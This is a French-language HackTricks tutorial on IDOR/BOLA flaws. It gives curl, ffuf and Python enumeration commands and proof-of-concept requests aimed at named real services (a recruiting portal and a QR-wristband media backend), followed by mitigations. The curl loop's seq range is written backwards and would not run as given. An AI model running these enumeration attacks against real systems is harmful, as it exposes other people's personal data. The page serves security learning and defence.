IDOR (Insecure Direct Object Reference)

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) apparaît lorsqu’un endpoint web ou API divulgue ou accepte un identifiant contrôlable par l’utilisateur qui est utilisé directement pour accéder à un objet interne sans vérifier que l’appelant est autorisé à accéder/modifier cet objet. Une exploitation réussie permet normalement une élévation de privilèges horizontale ou verticale, comme la lecture ou la modification des données d’autres utilisateurs et, dans le pire des cas, la compromission complète d’un compte ou l’exfiltration massive de données.

1. Identifying Potential IDORs

  1. Look for parameters that reference an object:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Prefer endpoints that read or update data (GET, PUT, PATCH, DELETE).
  2. Note when identifiers are sequential or predictable – if your ID is 64185742, then 64185741 probably exists.
  3. Explore hidden or alternate flows (e.g. “Paradox team members” link in login pages) that might expose extra APIs.
  4. Use an authenticated low-privilege session and change only the ID keeping the same token/cookie. The absence of an authorization error is usually a sign of IDOR.

Manipulation manuelle rapide (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Énumération automatisée (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Énumération des IDs de téléchargement prévisibles (ffuf)

Les panels d’hébergement de fichiers authentifiés stockent souvent les métadonnées par utilisateur dans une seule table files et exposent un endpoint de téléchargement tel que /download.php?id=<int>. Si le handler ne vérifie que l’existence de l’ID (et pas qu’il appartient à l’utilisateur authentifié), vous pouvez balayer l’espace des entiers avec votre cookie de session valide et voler les backups/configs d’autres tenants :

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr supprime les 404-style templates afin que seuls les vrais hits restent (par ex., IDs 54/150 leaking full site backups and signing material).
  • Le même workflow FFUF fonctionne avec Burp Intruder ou une boucle curl — veillez simplement à rester authentifié en incrémentant les IDs.

Oracle de réponses d’erreur pour l’énumération user/file

Lorsqu’un download endpoint accepte à la fois un username et un filename (par ex. /view.php?username=<u>&file=<f>), des différences subtiles dans les messages d’erreur créent souvent un oracle :

  • Username inexistant → “User not found”
  • Filename invalide mais extension valide → “File does not exist” (parfois liste aussi les fichiers disponibles)
  • Extension invalide → validation error

Avec n’importe quelle session authentifiée, vous pouvez fuzz le paramètre username tout en gardant un filename bénin et filtrer sur la chaîne “user not found” pour découvrir des users valides :

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Une fois que des noms d’utilisateur valides sont identifiés, demandez directement des fichiers spécifiques (par ex., /view.php?username=amanda&file=privacy.odt). Ce schéma conduit souvent à la divulgation non autorisée des documents d’autres utilisateurs et au credential leakage.

2. Étude de cas réelle – McHire Chatbot Platform (2025)

Lors d’une évaluation du portail de recrutement McHire propulsé par Paradox.ai, l’IDOR suivant a été découvert :

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: user session cookie for any restaurant test account
  • Body parameter: {"lead_id": N} – 8-digit, sequential numeric identifier

En diminuant lead_id, le testeur a récupéré les full PII de candidats arbitraires (name, e-mail, phone, address, shift preferences) ainsi qu’un JWT consommateur qui a permis le session hijacking. L’énumération de la plage 1 – 64,185,742 a exposé environ 64 millions d’enregistrements.

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combinée avec default admin credentials (123456:123456) qui donnaient accès au compte de test, la vulnérabilité a entraîné une violation de données critique à l’échelle de l’entreprise.

Étude de cas – Codes QR de bracelet comme weak bearer tokens (2025–2026)

Flux : Les visiteurs de l’exposition recevaient des bracelets avec codes QR ; en scannant https://homeofcarlsberg.com/memories/ le navigateur récupérait le printed wristband ID, l’hex-encodait, et appelait un backend cloudfunctions.net pour récupérer les médias stockés (photos/vidéos + noms). Il n’y avait aucun session binding ni authentification utilisateur — la connaissance de l’ID = autorisation.

Predictabilité : Les IDs de bracelet suivaient un motif court tel que C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). L’espace était estimé à ~26M de combinaisons, trivial à épuiser en ligne.

Exploitation workflow with Burp Intruder :

  1. Payload generation : Générer des IDs candidats (p.ex. [A-Z]-###-###). Utiliser une attaque Burp Intruder Pitchfork ou Cluster Bomb avec des positions pour la lettre et les chiffres. Ajouter une payload processing rule → Add prefix/suffix → payload encoding: ASCII hex afin que chaque requête transmette la chaîne hex attendue par le backend.
  2. Response grep : Marquer dans Intruder un grep-match pour des marqueurs présents uniquement dans les réponses valides (p.ex. media URLs/JSON fields). Les IDs invalides retournaient typiquement un tableau vide/404.
  3. Throughput measurement : ~1,000,000 d’IDs ont été testés en ~2 heures depuis un laptop (~139 req/s). À ce rythme, l’ensemble de l’espace de clés (~26M) tomberait en ~52 heures. Le run d’exemple a déjà exposé ~500 bracelets valides (vidéos + noms complets).
  4. Rate-limiting verification : Après que le vendor ait prétendu du throttling, relancer la même config Intruder. Un débit/taux de hits identique a prouvé que le contrôle était absent/inefficace ; l’énumération a continué sans entrave.

Quick scriptable variant (client-side hex encoding):

import requests

def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)

for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())

Leçon : Encoding (ASCII→hex/Base64) n’ajoute pas d’entropie ; les IDs courts deviennent des bearer tokens qui sont énumérables malgré un encodage cosmétique. Sans autorisation par utilisateur + secrets à haute entropie, media/PII peuvent être collectés en masse même si “rate limiting” est revendiqué.

3. Impact d’IDOR / BOLA

  • Escalade horizontale – lire/mettre à jour/supprimer les données d’autres utilisateurs.
  • Escalade verticale – un utilisateur faiblement privilégié obtient des fonctionnalités réservées aux admins.
  • Violation massive de données si les identifiants sont séquentiels (e.g., applicant IDs, invoices).
  • Prise de contrôle de compte en volant des tokens ou en réinitialisant les mots de passe d’autres utilisateurs.

4. Mesures d’atténuation & bonnes pratiques

  1. Appliquer l’autorisation au niveau des objets sur chaque requête (user_id == session.user).
  2. Préférer des identifiants indirects et non devinables (UUIDv4, ULID) plutôt que des IDs auto-incrémentés.
  3. Effectuer l’autorisation côté serveur, ne jamais se fier aux champs de formulaire cachés ou aux contrôles UI.
  4. Implémenter des vérifications RBAC / ABAC dans un middleware central.
  5. Ajouter rate-limiting & logging pour détecter l’énumération des IDs.
  6. Tester la sécurité de chaque nouvel endpoint (unit, integration, and DAST).

5. Outils

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks